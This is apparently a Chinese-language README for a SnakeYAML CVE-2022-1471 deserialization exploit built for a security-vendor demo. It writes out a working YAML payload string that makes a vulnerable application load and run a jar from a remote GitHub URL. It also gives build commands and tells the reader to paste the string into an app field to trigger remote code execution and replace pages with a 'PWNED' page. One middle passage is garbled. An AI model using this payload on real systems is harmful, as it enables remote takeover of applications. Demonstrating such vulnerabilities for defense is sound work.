
SnakeYAML CVE-2022-1471 漏洞利用载荷,用于 Seal Security 演示
一个针对 CVE-2022-1471 的 SnakeYAML 反序列化利用载荷,改编自 artsploit/yaml-payload(最初基于 mbechler/marshalsec)。
当通过 SnakeYAML 不安全的 Yaml.load() 加载时,此载荷会接管正在运行的应用程序,并将其替换为“You've Been PWNED”页面:
如果 Tomcat Valve 注入不可用(例如非 Spring 应用),它会回退到在 9999 端口启动一个独立的 HTTP 服务器,并在 ngrok 运行时自动创建 ngrok 隧道。
这既适用于本地 macOS,也适用于CI/CD 流水线(例如 Ubuntu 上的 GitHub Actions)。
SnakeYAML 载荷通过 Java SPI(服务提供者接口)触发 ScriptEngineManager:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar 的 java.net.URLURLClassLoader 中以加载远程类ScriptEngineManager 通过 META-INF/services/javax.script.ScriptEngineFactory 发现并加载 AwesomeScriptEngineFactory/ 的每个后续响应替换为 PWNED 页面需要 JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
用作 maven-demo 项目中的利用载荷。将载荷字符串粘贴到应用的名称字段中以触发 RCE。在下一次请求时,应用的页面将被替换为 PWNED 页面。有关完整的演示说明,请参阅该仓库的 README。